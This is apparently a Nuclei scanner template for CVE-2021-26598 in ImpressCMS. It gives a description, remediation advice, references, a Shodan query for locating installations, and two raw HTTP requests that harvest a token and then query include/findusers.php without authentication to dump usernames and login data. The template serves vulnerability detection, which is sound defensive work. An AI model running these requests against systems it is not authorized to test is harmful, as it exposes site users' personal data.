68 lines
2.2 KiB
YAML
68 lines
2.2 KiB
YAML
id: CVE-2021-26598
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info:
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name: ImpressCMS <1.4.3 - Incorrect Authorization
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author: gy741,pdteam
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severity: medium
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description: ImpressCMS before 1.4.3 is susceptible to incorrect authorization via include/findusers.php. An attacker can provide a security token and potentially obtain sensitive information, modify data, and/or execute unauthorized operations.
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remediation: |
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Upgrade to ImpressCMS version 1.4.3 or later to fix the vulnerability.
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reference:
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- https://hackerone.com/reports/1081137
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- http://karmainsecurity.com/KIS-2022-03
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- https://github.com/ImpressCMS
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- https://nvd.nist.gov/vuln/detail/CVE-2021-26598
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
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cvss-score: 5.3
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cve-id: CVE-2021-26598
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cwe-id: CWE-287
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epss-score: 0.00506
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epss-percentile: 0.73891
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cpe: cpe:2.3:a:impresscms:impresscms:*:*:*:*:*:*:*:*
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metadata:
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max-request: 2
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vendor: impresscms
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product: impresscms
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shodan-query: http.html:"ImpressCMS"
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tags: hackerone,cve,cve2021,impresscms,unauth,cms
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http:
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- raw:
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- |
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GET /misc.php?action=showpopups&type=friend HTTP/1.1
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Host: {{Hostname}}
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User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.3319.102 Safari/537.36
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- |
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GET /include/findusers.php?token={{token}} HTTP/1.1
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Host: {{Hostname}}
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User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.3319.102 Safari/537.36
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cookie-reuse: true
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req-condition: true
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matchers-condition: and
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matchers:
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- type: word
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part: body_2
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words:
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- 'last_login'
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- 'user_regdate'
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- 'uname'
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condition: and
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- type: status
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status:
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- 200
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extractors:
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- type: regex
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name: token
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group: 1
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regex:
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- "REQUEST' value='(.*?)'"
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- 'REQUEST" value="(.*?)"'
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internal: true
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# digest: 4a0a00473045022100d5db5043ea93de128f8d6dda7cf4529208490dfc8a195204925eb8f9d07be5bb02206d09afe6ad0967715b80942b7e35bc2fcd97dbb40f7fb4f312181a312cbf9131:922c64590222798bb761d5b6d8e72950
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